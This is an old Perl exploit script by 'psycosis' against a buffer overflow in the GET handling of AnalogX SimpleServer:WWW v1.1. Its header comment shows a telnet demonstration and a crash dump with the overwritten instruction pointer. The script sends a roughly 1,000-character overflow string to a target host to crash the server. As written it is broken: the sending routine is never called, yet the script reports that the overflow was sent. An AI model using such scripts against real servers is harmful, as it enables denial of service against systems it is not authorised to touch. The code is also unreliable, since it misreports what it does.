#!/usr/bin/perl
#
# AnalogX SimpleServer:WWW HTTP Server v1.1 exploit (Effects win9x/possible others)
#
# Local / Remote Buffer overflow, The code that handles GET commands
# has an unchecked buffer that will allow arbitrary code to be executed if it is
# overflowed.
#
# Example:
#
# [psycosis@trippinsmurfs]$ telnet die.communitech.net 80
# Trying example.com...
# Connected to die.communitech.net
# Escape character is '^]'.
# GET (buffer) HTTP/1.1 
#
# Where [buffer] is aprox. 1000 characters. At this point the server overflows.
#
# And the remote machine will be seeing something like this.
#
# HTTP caused an invalid page fault in
# module  at 0000:41414141.
# Registers:
# EAX=00afffbc CS=017f EIP=41414141 EFLGS=00010246
# EBX=00afffbc SS=0187 ESP=00af0060 EBP=00af0080
# ECX=00af0104 DS=0187 ESI=816294f0 FS=0e47
# EDX=bff76855 ES=0187 EDI=00af012c GS=0000
# Bytes at CS:EIP:
#
# Stack dump:
# bff76849 00af012c 00afffbc 00af0148 00af0104 00af0238 bff76855 00afffbc 00af0114
# bff87fe9 00af012c 00afffbc 00af0148 00af0104 41414141 00af02f0 
#
# Advisory :: http://packetstormsecurity.nl/advisories/ussr/labs29.html
# 
# :: psycosis [psycosis@lab.org] - Trippinsmurfs

use IO::Socket;

my $host  =     $ARGV[0];
my $port  =	    80;

print ".x[Trippin Smurfs]x.\n";
print "~~~~~~~~~~~~~~~~~~~~\n\n";
print "AnalogX SimpleServer:WWW HTTP Server v1.1 exploit by psycosis\n";
die "usage: perl $0 <host>\n" unless @ARGV == 1;

$overflow = "tstststststststststststststststststststs".
		"tstststststststststststststststststststs".
		"tstststststststststststststststststststs".
		"tstststststststststststststststststststs".
		"tstststststststststststststststststststs".
		"tstststststststststststststststststststs".
		"tstststststststststststststststststststs".
		"tstststststststststststststststststststs".
		"tstststststststststststststststststststs".
		"tstststststststststststststststststststs".
		"tstststststststststststststststststststs".
		"tstststststststststststststststststststs".
		"tstststststststststststststststststststs".
		"tstststststststststststststststststststs".
		"tstststststststststststststststststststs".
		"tstststststststststststststststststststs".
		"tstststststststststststststststststststs".
		"tstststststststststststststststststststs".
		"tstststststststststststststststststststs".
		"tstststststststststststststststststststs".
		"tstststststststststststststststststststs".
		"tstststststststststststststststststststs".
		"tstststststststststststststststststststs".
		"tstststststststststststststststststststs".
		"tstststststststststs";

sub connect {
$iaddr = inet_aton($host);
$paddr = sockaddr_in($port, $iaddr);
$proto = getprotobyname('tcp');
socket(trippinsmurfs, PF_INET, SOCK_STREAM, $proto);
connect(trippinsmurfs, $paddr);
send(trippinsmurfs, $overflow, 0);
print "GET /$overflow\n";
}

sleep(5); # Sleeping for 5 seconds. =)
print "Overflow sent, Server should now be down.\n";
print "[Trippin Smurfs] - psycosis\n";

#EOF


        



